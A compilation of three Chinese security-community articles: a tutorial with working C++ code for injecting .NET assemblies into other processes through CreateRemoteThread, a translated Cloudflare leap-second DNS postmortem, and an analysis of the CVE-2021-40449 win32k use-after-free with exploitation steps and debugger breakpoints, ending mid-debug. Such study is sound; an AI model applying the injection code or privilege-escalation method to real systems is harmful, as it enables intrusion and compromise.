?假设kernel32.dll映射在每个进程的地址空间内。LoadLibrary是kernel32的导出函数。它有一个与`LPTHREAD_START_ROUTINE`匹配的函数签名，所以它可以作为开始例程传递给CreateRemoteThread。LoadLibrary的目的是在调用进程的地址空间中加载一个库，而CreateRemoteThread的目的是在远程进程中生成一个线程。下面的代码片段演示了如何在进程id为2432的程序内部加载我们的测试DLL:
// get handle to remote process with PID 2432
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 2432);
// get address of LoadLibrary
FARPROC fnLoadLibrary = GetProcAddress(GetModuleHandle(L"Kernel32"), "LoadLibraryW");
// inject test.dll into the remote process
Inject(hProcess, fnLoadLibrary, L"T:\\test\\test.dll");
继续修改前面的示例代码，一旦调用CreateRemoteThread，就会调用WaitForSingleObject来等待线程退出。接下来调用GetExitCodeThread以获得结果。巧合的是，当LoadLibrary被传递给CreateRemoteThread时，成功的调用将导致GetExitCodeThread的lpExitCode返回远程进程上下文中加载库的基本地址。这对于32位应用程序非常有效，但对于64位应用程序则不然。原因是GetExitCodeThread的lpExitCode即使在64位机器上也是DWORD值，因此地址会被截断。
在此为止，这个部分的三个问题已经解决:
1. 使用非托管代码加载CLR
2. 从非托管代码执行任意.NET程序
3. Dll注入
**4\. DLL注入（高级）**
前面已经说到了如何在远程进程中加载DLL了;关于如何在远程进程中启动CLR的问题可以继续探讨。
当LoadLibrary返回时，加载器上的锁将被释放。利用远程进程地址空间中的DLL，可以通过对CreateRemoteThread的后续调用调用导出函数;假设函数签名匹配`LPTHREAD_START_ROUTINE`。肯定会导致更多的问题。如何在远程进程中调用导出函数，以及如何获得指向这些函数的指针?由于GetProcAddress没有匹配的LPTHREAD_START_ROUTINE签名，那么如何获得DLL中函数的地址呢?此外，即使可以调用GetProcAddress，它仍然需要远程DLL的句柄。如何在64位机器上获得这个句柄?
再次分解问题。下面的函数可以返回x86和x64系统上给定进程中给定模块的句柄(碰巧是基本地址):
DWORD_PTR GetRemoteModuleHandle(const int processId, const wchar_t* moduleName)
{
MODULEENTRY32 me32;
HANDLE hSnapshot = INVALID_HANDLE_VALUE;
// get snapshot of all modules in the remote process
me32.dwSize = sizeof(MODULEENTRY32);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, processId);
// can we start looking?
if (!Module32First(hSnapshot, &me32))
{
CloseHandle(hSnapshot);
return 0;
}
// enumerate all modules till we find the one we are looking for
// or until every one of them is checked
while (wcscmp(me32.szModule, moduleName) != 0 && Module32Next(hSnapshot, &me32));
// close the handle
CloseHandle(hSnapshot);
// check if module handle was found and return it
if (wcscmp(me32.szModule, moduleName) == 0)
return (DWORD_PTR)me32.modBaseAddr;
return 0;
}
搞清楚远程进程中DLL的基本地址是朝着正确方向迈出的一步。接下来是写出一个可以获取任意导出函数地址的策略的时候了。回顾一下，我们知道如何调用loadlibrary并在远程进程中获得加载模块的句柄。知道了这一点，在本地调用loadlibrarylocal(在调用过程中)并获得加载模块的句柄是很简单的。这个句柄(也是模块的基本地址)可能与远程进程中的句柄相同，也可能与远程进程中的句柄不同，尽管它是同一个库。尽管如此，通过一些基本的数学计算，我们可以获得任何导出函数的地址。思路是尽管一个模块的基址可能因进程而异，但任何给定函数相对于模块基址的偏移量都是恒定的。例如，在源代码下载部分的Bootstrap
DLL项目中可以找到以下导出函数:
__declspec(dllexport) HRESULT ImplantDotNetAssembly(_In_ LPCTSTR lpCommand)
在远程调用此函数之前，Bootstrap.dll模块必须首先在远程进程中加载。使用Process Hacker注入Firefox时内存中的dll模块。
如图。
继续我们的思路，下面是加载引导程序的示例程序Bootstrap.dll模块到本地(调用到进程内):
#include <windows.h>
int wmain(int argc, wchar_t* argv[])
{
HMODULE hLoaded = LoadLibrary(
L"T:\\FrameworkInjection\\_build\\release\\x86\\Bootstrap.dll");
system("pause");
return 0;
}
当上面的程序运行时，下面是Windows加载Bootstrap.dll模块的截图:
下一步，我们在wmain函数中调用GetProcAddress来获取ImplantDotNetAssembly函数的地址:
#include <windows.h>
int wmain(int argc, wchar_t* argv[])
{
HMODULE hLoaded = LoadLibrary(
L"T:\\FrameworkInjection\\_build\\debug\\x86\\Bootstrap.dll");
// get the address of ImplantDotNetAssembly
void* lpInject = GetProcAddress(hLoaded, "ImplantDotNetAssembly");
system("pause");
return 0;
}
模块中的函数的地址总是比模块的基本地址要高。这就是初等数学发挥作用的地方。下面是一个表格来帮助说明:
Firefox.exe | Bootstrap.dll @ 0x50d0000 | ImplantDotNetAssembly @ ?
---|---|---
test.exe | Bootstrap.dll @ 0xf270000 | ImplantDotNetAssembly @ 0xf271490
(lpInject)
test.exe显示了Bootstrap.dll
在地址0xf270000处加载，ImplantDotNetAssembly可以在内存地址0xf271490中找到。从引导程序的地址中减去植入式网络装配的地址。dll会给出函数相对于模块的基本地址的偏移量。计算结果表明，ImplantDotNetAssembly是(0xf271490
- 0xf270000) =
0x1490字节进入模块。然后可以将此偏移量添加到引导程序的基本地址。dll模块在远程进程中可靠地给出相对于远程进程的植入式网络程序集的地址。在Firefox中计算ImplantDotNetAssembly地址的数学。exe显示函数位于地址(0x50d0000
+ 0x1490) = 0x50d1490。下面的函数计算给定模块中给定函数的偏移:
DWORD_PTR GetFunctionOffset(const wstring& library, const char* functionName)
{
// load library into this process
HMODULE hLoaded = LoadLibrary(library.c_str());
// get address of function to invoke
void* lpInject = GetProcAddress(hLoaded, functionName);
// compute the distance between the base address and the function to invoke
DWORD_PTR offset = (DWORD_PTR)lpInject - (DWORD_PTR)hLoaded;
// unload library from this process
FreeLibrary(hLoaded);
// return the offset to the function
return offset;
}
值得注意的是ImplantDotNetAssembly故意匹配`LPTHREAD_START_ROUTINE`的签名;所有传递给CreateRemoteThread的方法都应该这样。具有在远程DLL中执行任意函数的能力，初始化CLR的逻辑被放在Bootstrap.dll中的函数ImplantDotNetAssembly中。一旦Bootstrap.dll在远程进程中加载，就可以为远程实例计算ImplantDotNetAssembly的地址，然后通过CreateRemoteThread调用。到这儿最后一个问题也解决了。
**5\. 综合利用**
使用一个非托管DLL(Bootstrap.dll)加载CLR的主要原因是如果CLR在远程进程中运行,唯一的方式开始从非托管代码开始(除非使用Python脚本语言等,否则都有自己的依赖关系)。
另外，对于Inject应用程序来说，最好能够灵活地接受命令行上的输入;避免重新编译。
Inject应用程序的相关命令参数:
> -m 要执行的托管方法的名称。如EntryPoint
> -i 被注入到远程进程内部托管程序的完整路径路径。如 C:\InjectExample.exe
> -l 托管程序集的完整类名。如InjectExample.Program
> -a 一个可选的参数传递给托管函数。
> -n 进程ID或要注入的进程名称。如1500或notepad.exe
注入的wmain方法如下:
int wmain(int argc, wchar_t* argv[])
{
// parse args (-m -i -l -a -n)
if (!ParseArgs(argc, argv))
{
PrintUsage();
return -1;
}
// enable debug privileges
EnablePrivilege(SE_DEBUG_NAME, TRUE);
// get handle to remote process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, g_processId);
// inject bootstrap.dll into the remote process
FARPROC fnLoadLibrary = GetProcAddress(GetModuleHandle(L"Kernel32"),
"LoadLibraryW");
Inject(hProcess, fnLoadLibrary, GetBootstrapPath());
// add the function offset to the base of the module in the remote process
DWORD_PTR hBootstrap = GetRemoteModuleHandle(g_processId, BOOTSTRAP_DLL);
DWORD_PTR offset = GetFunctionOffset(GetBootstrapPath(), "ImplantDotNetAssembly");
DWORD_PTR fnImplant = hBootstrap + offset;
// build argument; use DELIM as tokenizer
wstring argument = g_moduleName + DELIM + g_typeName + DELIM +
g_methodName + DELIM + g_Argument;
// inject the managed assembly into the remote process
Inject(hProcess, (LPVOID)fnImplant, argument);
// unload bootstrap.dll out of the remote process
FARPROC fnFreeLibrary = GetProcAddress(GetModuleHandle(L"Kernel32"),
"FreeLibrary");
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)fnFreeLibrary,
(LPVOID)hBootstrap, NULL, 0);
// close process handle
CloseHandle(hProcess);
return 0;
}
下面是Inject.exe的截图。调用exe应用程序注入.NET程序InjectExample.exe注入到notepad.exe 以及所用到的命令:
C:\Inject.exe -m EntryPoint -i «C:\InjectExample.exe» -l InjectExample.Program -a «hello inject» -n «notepad.exe»
值得一提的是，在注入一个基于x86、x64或其他CPU构建的DLL时，应该区分它们之间的区别。正常情况下，x86架构的Inject.exe和Bootstrap.dll
用于注入x86进程，x64架构用于注入x64进程。调用方的责任是确保正确地使用二进制文件。其他CPU是.NET中可用的平台。为任何cpu设定目标，告诉CLR为适当的体系结构JIT程序集。这就是相同的InjectExample.exe程序集可以注入到x86或x64进程中的原因。
代码环境：
继续有趣的事情!使用默认设置运行代码有几个先决条件。
编译环境：
> Visual Studio 2012 Express+
> Visual Studio 2012 Express Update 1 +
运行环境：
> .Net Framework 4.0 +
> Visual C++ Redistributable for Visual Studio 2012 Update 1 +
> Windows XP SP3 +
为了简化编译，给出压缩包下载后有一个叫“build.bat“，点击后将解决前期麻烦的安装任务。它将编译调试和发布版本以及相应的x86、x64和其他CPU版本。每个项目也可以独立构建，并从Visual
Studio编译。build.bat将把二进制文件放在一个名为_build的文件夹中。
代码里的注释也蛮齐全的。此外，请使用C++ 11.0和.NET4.0。因为这两个版本从XP SP3 x86 到 Windows 8
x64.的所有Windows操作系统上都可以顺利运行。另外再提一下微软在VS 2012 U1中增加了对c++ 11.0运行时的XP SP3支持。
# 0x3彩蛋
正如文章中提到的，.NET是一门强大的语言。比如可以利用.NET中的Reflection
API（反射API）来获取关于程序的类型信息。这样做的意义在于.NET可以用来扫描程序集并返回可用于注入的有效方法!下载的源代码包含一个.NET项目，名为InjectGUI。这个项目包含一个托管包装器，它围绕着我们的非托管注入应用程序。InjectGUI显示正在运行的进程列表，决定是否调用32位或64位版本的Inject，以及扫描.net程序集以获得有效的injectable方法。在InjectGUI中有一个名为InjectWrapper.cs的文件，包含了封装逻辑。
还有一个助手类叫MethodItem，它的定义如下:
public class MethodItem
{
public string TypeName { get; set; }
public string Name { get; set; }
public string ParameterName { get; set; }
}
以下来自`ExtractInjectableMethods`方法的代码片段将获得一个`Collection of type
List<MethodItem>`，它匹配所需的方法签名:
// find all methods that match:
// static int pwzMethodName (String pwzArgument)
private void ExtractInjectableMethods()
{
// ...
// open assembly
Assembly asm = Assembly.LoadFile(ManagedFilename);
// get valid methods
InjectableMethods =
(from c in asm.GetTypes()
from m in c.GetMethods(BindingFlags.Static |
BindingFlags.Public | BindingFlags.NonPublic)
where m.ReturnType == typeof(int) &&
m.GetParameters().Length == 1 &&
m.GetParameters().First().ParameterType == typeof(string)
select new MethodItem
{
Name = m.Name,
ParameterName = m.GetParameters().First().Name,
TypeName = m.ReflectedType.FullName
}).ToList();
// ...
}
既然已经提取了有效的(可注入的)方法，UI还应该知道要注入的进程是32位还是64位。要做到这一点，需要一些Windows API的协助:
[DllImport("kernel32.dll", SetLastError = true, CallingConvention =
CallingConvention.Winapi)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool IsWow64Process([In] IntPtr process,
[Out] out bool wow64Process);
`IsWow64Process`只在64位操作系统上定义，如果应用程序是32位，则返回true。在.NET4.0中，引入了以下特性:`Environment.Is64BitOperatingSystem`。这可以用来帮助确定`IsWow64Process`函数是否定义为这个封装函数:
private static bool IsWow64Process(int id)
{
if (!Environment.Is64BitOperatingSystem)
return true;
IntPtr processHandle;
bool retVal;
try
{
processHandle = Process.GetProcessById(id).Handle;
}
catch
{
return false; // access is denied to the process
}
return IsWow64Process(processHandle, out retVal) && retVal;
}
InjectGUI项目中的逻辑相当简单。了解WPF和依赖属性对于理解UI是必要的，然而，所有与注入相关的逻辑都在InjectWrapper类中。UI是使用WPF的现代UI构建的，图标是从现代UI图标中借来的。这两个项目都是开源的，作者两者都不属于。下面是InjectGUI的截图:
# 相关文献
* [托管程序与非托管程序的区别](https://www.cnblogs.com/proxyz/p/4903177.html)
* [.NET CLR是什么](https://www.cnblogs.com/yplong/p/3280008.html) | 社区文章 |
# 【技术分享】关于Cloudflare DNS的闰秒故障深度探讨分析
|
##### 译文声明
本文是翻译文章，文章来源：cloudflare.com
原文地址：<https://blog.cloudflare.com/how-and-why-the-leap-second-affected-cloudflare-dns/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **shan66**
****](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：180RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
2016年12月31日增加了一闰秒，31日11点59分59秒之后不是2017年，而是59分60秒。就在这个时候，在Cloudflare系统深处的一个自定义RRDNS软件出现了一个问题：一个数字变为了负数，但是按理说，它的最低值应该是零。稍后，这个负值就引起了RRDNS出现问题。该问题是通过Go语言的恢复功能捕获的。最后的结果就是，导致托管在Cloudflare上的某些网络资源无法正常进行DNS解析。
该问题只对使用的CNAME DNS记录的Cloudflare客户产生了影响，并且只影响到了Cloudflare
102个数据中心中的少数机器。在针对Cloudflare的DNS查询峰值时刻，大约有0.2％的查询受到了影响，同时，对于Cloudflare的所有HTTP请求中，只有不到1％的请求遇到了错误。
这个问题很快就被发现了。并且，大部分受影响的机器在90分钟内就得到了修复，到了UTC
06:45，修复程序已向全球用户发布。我们对客户受到了影响深表歉意，同时，为了让人们弄明白这个问题的来龙去脉，我们认为有必要把具体的原因和原理讲清楚。
**关于Cloudflare DNS的背景知识**
Cloudflare的客户是通过我们的DNS服务来为其域名提供DNS查询的权威答案的。他们需要告诉我们其原始Web服务器的IT地址，以便我们联系该服务器来处理非缓存请求。要想完成此项工作，可以借助两种方式：要么输入与名称有关的IP地址（比如example.com的IP地址是192.0.2.123，并作为一条A记录来输入），要么输入CNAME（比如example.com是origin-server.example-hosting.biz）。
下图显示的是一个测试网站，它不仅提供了theburritobot.com的A记录，还提供了www.theburritobot.com的CNAME，它直接指向Heroku。
当客户选用CNAME这种方式时，Cloudflare有时需要使用DNS查询原始服务器的实际IP地址。它是使用标准的递归DNS自动执行这项操作的。导致本次故障的软件bug，就位于执行这个CNAME查询的代码中。
在系统内部，执行CNAME查询时，Cloudflare运行DNS解析器，查询来自互联网的DNS记录，然后，RRDNS会跟这些解析器进行交互，以便获得IP地址。RRDNS会跟踪记录内部解析器的性能情况，并对可能的解析器（我们每个数据中心都会运行多个解析器，以确保冗余性）进行加权选择，选择性能最好的那个解析器。其中一些解析最后在数据结构中记录下了闰秒期间的一个负值。
稍后，这个负数被传递给了进行加权选择的代码，从而引发了问题。实际上，负数是由于闰秒和平滑处理（smoothing）这两个因素共同作用的结果。
**程序员过于盲目相信时间值了**
之所以出现影响我们DNS服务的那个错误，根本原因在于程序员坚信表示时间的值不会倒退。以我们为例，一些代码想当然地以为：在最糟糕的情况下，两个时间之间的时差总是为零。
RRDNS软件是用Go编写的，并且使用Go的time.Now()函数来获取时间。遗憾的是，这个函数无法保证单调性。Go目前没有提供单调的时间源（详情请访问<https://github.com/golang/go/issues/12914>）。
在评估用于CNAME查询的上游DNS解析器的性能时，RRDNS使用了下列代码：
// Update upstream sRTT on UDP queries, penalize it if it fails
if !start.IsZero() {
rtt := time.Now().Sub(start)
if success && rcode != dns.RcodeServerFailure {
s.updateRTT(rtt)
} else {
// The penalty should be a multiple of actual timeout
// as we don't know when the good message was supposed to arrive,
// but it should not put server to backoff instantly
s.updateRTT(TimeoutPenalty * s.timeout)
}
}
在上面的代码中，如果time.Now()返回的时间早于start中的时间（这个值是早先调用time.Now()时设定的），rtt可能是负数。
如果时间往前进，该代码会一切正常。不幸的是，我们将我们的解析器调整得非常快，这意味着它们在几毫秒内进行应答是很正常的事。但是，如果恰好进行解析时，时间后退了一秒，那么解析时间就会成为负值。
实际上，RRDNS并非通过单个测量值来衡量每个解析器的性能，而是通过多个测量值，然后对它们进行平滑处理。所以，单个测量值不会引起RRDNS认为解析器在负时间内工作，但是对多个测量值进行平滑处理后，这个值最终就可能变成负值。
当RRDNS选择上游解析CNAME时，它使用了一种加权选择算法。相应代码取得上游时间值之后，会并将它们提供给Go的rand.Int63n()函数。如果rand.Int63n的参数为负数，
就会立即出现问题。这就是造成RRDNS问题的根本原因。
（除此之外，程序员在时间方面还有许多错误认识）。
**一个字符搞定漏洞**
当我们使用非单调时钟源的时候，一个需要注意的问题是，始终检查两个时间戳之间的差值是否为负数。如果出现负数，除非时钟停止倒回，否则就不可能准确地确定时间差。
在这个补丁中，我们让RRDNS忘记当前的上游性能，并且如果时间向后跳过的话，就让它再次正常化。这样就可以防止将负数传递给服务器的选择代码，从而避免了在联系上游服务器之前就抛出错误信息了。
我们使用的修复方法是防止在服务器选择代码中记录负值。之后，重新启动所有RRDNS服务器，就能解决这个问题了。
**时间表**
下面是闰秒错误相关事件的完整时间表：
2017-01-01 00:00 UTC 出现影响
2017-01-01 00:10 UTC 上报给工程师
2017-01-01 00:34 UTC 确认问题
2017-01-01 00:55 UTC 缓解措施部署到一个canary节点上，并加以核实
2017-01-01 01:03 UTC 缓解措施部署到canary数据中心，并加以核实
2017-01-01 01:23 UTC 修复程序部署到大多数受影响的数据中心
2017-01-01 01:45 UTC 修复程序部署到主要的数据中心
2017-01-01 01:48 UTC 修复程序部署到每个地方
2017-01-01 02:50 UTC 修复程序在大多数受影响的数据中心发挥作用
2017-01-01 06:45 UTC 影响已消除
下面的图表展示了每个Cloudflare数据中心的错误率（一些数据中心比其他数据中心受到的影响要大一些），以及部署修复代码后，错误率的快速下降情况。我们在部署修复程序时，优先照顾错误最多的那些数据中心。
**小结**
对于这个问题给客户带来的影响，我们深表歉意，与此同时，我们正在对所有代码进行相应的检查，以确保闰秒不会对其他代码产生影响。 | 社区文章 |
### 背景
CVE-2021-40449是卡巴斯基实验室在2021年8月下旬到9月上旬在Windows服务器上捕获的恶意样本利用的提权漏洞，该漏洞存在于win32kfull.sys驱动内，利用该漏洞可以在windows中完成从users到system的权限提升。
#### 基本概念
**内核对象** ：内核对象即在内核空间存在的对象，只能由内核分配，内核访问。
**内核对象的引用计数**
：在操作系统中，可能有多个进程访问同一个内核对象，如果没有进程需要使用该对象内核就应该释放该对象，所以为了准确的释放该对象就有了引用计数。当内核对象被创建时，引用计数被标记为1，调用CloseHandle()时内核对象的引用计数就-1，这可以类比Java
GC的引用计数法：
> 在对象中添加一个引用计数器，每当一个地方引用它时，计数器就加一；当引用失效时，计数器值就减一；任何时刻计数器为零的对象就是不可能再被使用的。
**句柄** ：由于内核对象只能由内核分配、访问、修改，当ring
3层的应用程序想要操作这些内核对象的时候，并不能直接操控内核对象。当内核对象创建好后，操作系统会使用一个句柄来标识该对象并返回给应用程序，应用程序通过操作系统提供的ring
3层API来操作句柄，ring3层API经过系统调用进入内核。在内核处句柄对应着具体的内核对象，这样ring3层的应用程序就可以通过操作句柄来间接操作内核对象。
**句柄表**
：当一个进程初始化的时候，系统会给该进程分配一个句柄表，当进程创建内核对象的时候，内核创建对应内核对象，并遍历该进程的句柄表，在句柄表的空闲位置设置内核对象、对象指针等，并获取该位置的索引，作为进程创建对象的函数的返回值，即为句柄。
> <https://www.cnblogs.com/MisterXu/p/10846918.html>
**DC** ：是一个内核对象，全称device context，设备上下文对象
**HDC** ：DC对象的句柄。
**释放后重用**
：指一个内存空间被操作系统释放后，内存空间变为空闲状态，如果用户在这一刻申请内存，操作系统会优先分配刚释放的内存，则用户大概率可以申请到刚刚释放的内存并修改该内存空间的内容。如果在释放空间之前有指针指向该空间，在释放空间之后指针并未按照理想状态置为NULL，由于释放后可以重新申请该内存并修改内存内容，后续如果继续使用该指针，但内存内内容并不是预期的释放之前的内容，则会产生非预期行为。
eg：
#include <stdio.h>
#include <stdlib.h>
void method();
void badMethod();
// 定义函数指针
typedef void (*function)();
class test {
public:
function p;
test() {
}
};
int main() {
// new test对象
test *t = new test();
test *p = t;
t->p = method;
p->p();
// 释放t指向的test对象的空间
delete t;
test *pt;
for (size_t i = 0; i < 10000; i++) {
// 占用刚释放的对象的内存空间
pt = (test *)malloc(sizeof(test));
// 将申请的空间当作test对象，并将对象的函数指针设置为恶意函数地址
pt->p = badMethod;
}
// 这里原意想要调用method函数，但是实际调用了badMethod函数
printf("第二次调用\n");
p->p();
return 0;
}
void method() {
printf("method\n");
}
void badMethod() {
printf("bad method\n");
}
#### 漏洞形成分析
该漏洞产生于 **win32kfull!GreResetDCInternal**
函数中，该函数内会获取DC对象内的函数指针，并执行该函数指针指向的函数，但并未检查DC对象是否异常。所以如果可以在调用函数指针之前释放DC对象，并重新申请该对象的内存空间，通过构造内存布局，修改原DC对象的函数指针指向其他任意内核函数，就可以在win32kfull!GreResetDCInternal内实现
**任意内核函数调用** 。
根据代码，我们可以算出DCO对象和DC对象的函数指针的关系：function pointer= _(_ (DCO +0x30)+0xad0)，其中DCO
+0x30即指向DC对象的指针
> v10 = _(_QWORD_ )(v8 + 48);
>
> v15 _=_ (void (_fastcall __ )(QWORD, _QWORD))(*v10 + 2768);
__int64 __usercall GreResetDCInternal@<rax>(HDC a1@<rcx>, __int64 a2@<rdx>, int *a3@<r8>)
{
__int64 v24; // [rsp+50h] [rbp-20h]
__int64 v25; // [rsp+60h] [rbp-10h]
DCOBJ::DCOBJ((DCOBJ *)&v25, a1); // 利用构造函数从HDC创建DCOBJ对象
v8 = v25;
··········
v10 = *(_QWORD *)(v8 + 48); // 赋值
*(_QWORD *)(v10 + 1736) = 0i64;
v24 = v11;
·······
v9 = *(_QWORD *)(v25 + 512) != 0i64;
v12 = *(_DWORD *)(v25 + 120) > 0;
·······
v13 = (HDC)hdcOpenDCW(&qword_1C0141EB0, v26, 0i64, 0i64, *(_QWORD *)(v10 + 2584));// 创建新的DC对象，返回对应的HDC句柄
if ( v13 )
{
*(_QWORD *)(v10 + 2584) = 0i64;
DCOBJ::DCOBJ((DCOBJ *)&v24, v13);
v14 = (_QWORD *)v24;
if ( v24 )
{
if ( v12 )
*(_DWORD *)(v24 + 120) = *(_DWORD *)(v24 + 116);
v14[308] = *(_QWORD *)(v25 + 2464);
*(_QWORD *)(v25 + 2464) = 0i64;
v14[309] = *(_QWORD *)(v25 + 2472);
*(_QWORD *)(v25 + 2472) = 0i64;
v15 = *(void (__fastcall **)(_QWORD, _QWORD))(v10 + 2768);
if ( v15 )
v15(*(_QWORD *)(v10 + 1824), *(_QWORD *)(v14[6] + 1824i64));// 调用函数指针指向的函数，传入参数为用户传入的HDC对应的DC对象内的值
·······
HmgSwapLockedHandleContents(v3, 0i64, v6, 0i64, v23);// 交换旧的和新的HDC对象
GreReleaseHmgrSemaphore();
······
bDeleteDCInternal(v6, 1i64, 0i64); // 传入了hdcOpenDCW返回的HDC，但HmgSwapLockedHandleContents交换了新旧句柄对应的DC对象，此时v6句柄对应旧DC对象。
······
调用该函数指针的时候，所用的两个参数也是源于用户传入的HDC句柄对应的DC对象。
> v10 = _(_QWORD_ )(v8 + 48); _
>
> _v14[308] = _(_QWORD_ )(v25 + 2464);
>
> v14[309] = _(_QWORD_ )(v25 + 2472);
>
> v15( _(_QWORD_ )(v10 + 1824), _(_QWORD_ )(v14[6] + 1824i64));
在win32kfull!GreResetDCInternal函数的后半段会调用win32kbase!DeleteDCInternal函数释放传入该函数的HDC句柄所对应的DC对象，到这里就达成了use-after-free的 **free步骤** 。
HDC v3;
v3=a1;
v13 = (HDC)hdcOpenDCW(&qword_1C0141EB0, v26, 0i64, 0i64, *(_QWORD *)(v10 + 2584));// 创建新的HDC
v6 = v13;
if ( v13 )
{
*(_QWORD *)(v10 + 2584) = 0i64;
DCOBJ::DCOBJ((DCOBJ *)&v24, v13);
v14 = (_QWORD *)v24;
if ( v24 )
{
if ( v12 )
*(_DWORD *)(v24 + 120) = *(_DWORD *)(v24 + 116);
v14[308] = *(_QWORD *)(v25 + 2464);
*(_QWORD *)(v25 + 2464) = 0i64;
v14[309] = *(_QWORD *)(v25 + 2472);
*(_QWORD *)(v25 + 2472) = 0i64;
v15 = *(void (__fastcall **)(_QWORD, _QWORD))(v10 + 2768);
if ( v15 )
v15(*(_QWORD *)(v10 + 1824), *(_QWORD *)(v14[6] + 1824i64));
GreAcquireHmgrSemaphore();
LOBYTE(v23) = 1;
HmgSwapLockedHandleContents(v3, 0i64, v6, 0i64, v23);// 交换旧的和新的HDC对象
GreReleaseHmgrSemaphore();
·······
// 删除HDC句柄对应的DC对象。
bDeleteDCInternal(v6, 1i64, 0i64);
如果在释放DC对象之后，重新申请DC对象空间，修改里面的函数指针内容，并通过某些步骤，让内核执行DC对象内的函数指针，即可达到 **use步骤**
让内核执行任意内核函数。
### 漏洞利用分析
POC:<https://github.com/KaLendsi/CVE-2021-40449-Exploit>
POC代码分析：<https://github.com/CppXL/cve-2021-40449-poc/blob/master/main.cpp>
要利用该漏洞，难点在于free
DC对象之后怎么使得内核再次调用DC对象的函数指针，在正常GreResetDCInternal函数流程中，是先调用DC对象的函数指针再删除这个对象，即按照正常流程即不会有use-after-free的条件。
在ring
3层调用ResetDC函数会通过系统调用进入内核调用函数NtGdiResetDC，在NtGdiResetDC会调用漏洞函数GreResetDCInternal，在GreResetDCInternal中会调用DC对象里面的函数指针。要利用该漏洞即要在调用函数指针之前完成三步动作：
**1、释放DC对象2、重新申请原DC对象的内存空间3、完成内存空间的布局** 。
在函数 **GreResetDCInternal** 调用DC对象的函数指针之前会调用 **win32kbase!hdcOpenDCW** 函数。
**win32kbase!hdcOpenDCW**
函数会执行打印机驱动的用户态回调函数表里面的函数，该表里面存放了函数指针，该函数指针原先指向的是预定义的回调函数。在POC中覆盖这个函数指针，使其执行POC定义的回调函数。
在自定义回调函数中再次执行ResetDC函数并传入同一HDC句柄，则会再次执行NtGdiResetDC和GreResetDCInternal函数，而在GreResetDCInternal的后半段，会释放传入的HDC对应的DC对象并创建新的DC对象。
**此时达到了free步骤** 。
在第二次ResetDC调用完成后，原DC对象已被释放，此时可以重新申请原DC对象的内存空间并完成内存布局，将原DC对象的函数指针和函数指针的参数的位置设置为想要执行的内核函数的地址及参数。在执行完第一次回调之后，GreResetDCInternal
将调用原DC对象内的函数指针，即完成了任意内核函数调用， **此时达到了use步骤** 。
完整调用链如下图：
其中漏洞相关的类定义如下，参考<https://github.com/ZoloZiak/WinNT4/blob/master/private/ntos/w32/ntgdi/gre/dcobj.hxx#L97>
class DCLEVEL
{
public:
...
HDC hdcSave;
...
}
class DC : public OBJECT
{
public:
DHPDEV dhpdev_;
PDEV *ppdev_;
...
HDC hdcNext_; // HDC链表指针
HDC hdcPrev_;
...
DCLEVEL dclevel
...
};
typedef DC *PDC;
class XDCOBJ /* dco */
{
public:
PDC pdc;
...
};
typedef XDCOBJ *PXDCOBJ;
class DCOBJ : public XDCOBJ /* mdo */
{
public:
DCOBJ() { pdc = (PDC) NULL; }
DCOBJ(HDC hdc) { vLock(hdc); }
~DCOBJ() { vUnlockNoNullSet(); }
};
typedef DCOBJ *PDCOBJ;
类之间的关系可以简化为下图：
### 调试
#### free部分
在free部分需要把我们想要释放的内存空间释放，并让后面的use部分成功申请到这块内存空间。
调试环境：虚拟机windows 10 1607、物理机windows 10 2004
POC:<https://github.com/KaLendsi/CVE-2021-40449-Exploit>
断点:
bp win32kfull!NtGdiResetDC
bp win32kfull!NtGdiResetDC+0xc1 "调用GreResetDCInternal函数"
bp win32kfull!GreResetDCInternal+0x3a "调用DCOBJ构造函数"
bp win32kfull!GreResetDCInternal+0x116 "调用_imp_hdcOpenDCW函数"
bp win32kfull!GreResetDCInternal+0x136 "第二次DCOBJ"
bp win32kfull!GreResetDCInternal+0x1b5 "调用DC对象函数指针"
bp win32kfull!GreResetDCInternal+0x1d1 "调用HmgSwapLockedHandle函数"
bp win32kfull!GreResetDCInternal+0x20d "调用_imp_bDeleteDCInternal函数"
bp cve_2021_40449!hook_DrvEnablePDEV+0x12a "循环调用"
bp win32kbase!PALMEMOBJ::bCreatePalette "调用win32kbase!PALMEMOBJ::bCreatePalette"
运行POC，断点`bp win32kfull!NtGdiResetDC`触发此时传入的句柄为`rcx=00000000092105f1`
第一次调用`win32kfull!GreResetDCInternal` 时传入各个参数为`rcx=00000000092105f1`
`rdx=0000000000000000` `r8=ffffb101aadf2a44` 即第一个句柄值为`00000000092105f1`
第一次调用构造函数，利用DC对象创建DCO对象，此时rbx存放DCO对象的地址，
根据 **漏洞形成分析** 的计算公式，可以很方便的得到DC对象内的函数指针指向的函数的地址为：`ffffd548a1f10c30`
1: kd> dq rax
ffffb101`aadf29c0 ffffd50e`041fd010 00000000`00000001
ffffb101`aadf29d0 00000268`6e766b20 000000d7`97aff680
ffffb101`aadf29e0 00000000`00000000 00000000`092105f1
ffffb101`aadf29f0 00000000`00000000 ffffd50e`041fb030
ffffb101`aadf2a00 ffffb101`aadf2b80 ffffd548`a1f18fe6
ffffb101`aadf2a10 00000000`00000001 00000000`00000000
ffffb101`aadf2a20 ffffb101`aadf2a44 ffffd50e`041fb030
ffffb101`aadf2a30 000000d7`97aff5d0 00000000`00000000
// rbx存放了构造函数产生的DCO对象地址
1: kd> dq rbx
ffffd50e`041fd010 00000000`092105f1 80000001`00000000
ffffd50e`041fd020 ffffd800`b45ad780 00000268`6e75ea10
ffffd50e`041fd030 00100010`00000000 00000000`00000000
ffffd50e`041fd040 ffffd50e`00052030 00000000`00000000
ffffd50e`041fd050 ffffd800`b56f1260 00000009`1000a01f
ffffd50e`041fd060 ffffd50e`041fd3d0 00000000`0088000b
ffffd50e`041fd070 ffffd50e`000004f0 ffffd50e`00005d90
ffffd50e`041fd080 00000001`00000000 00000000`00000000
// ffffd50e`041fd010为rbx的值，此处ffffd50e`041fd010+0x30为PDC的地址，PDC指向DC对象即DC对象地址为ffffd50e`00052030
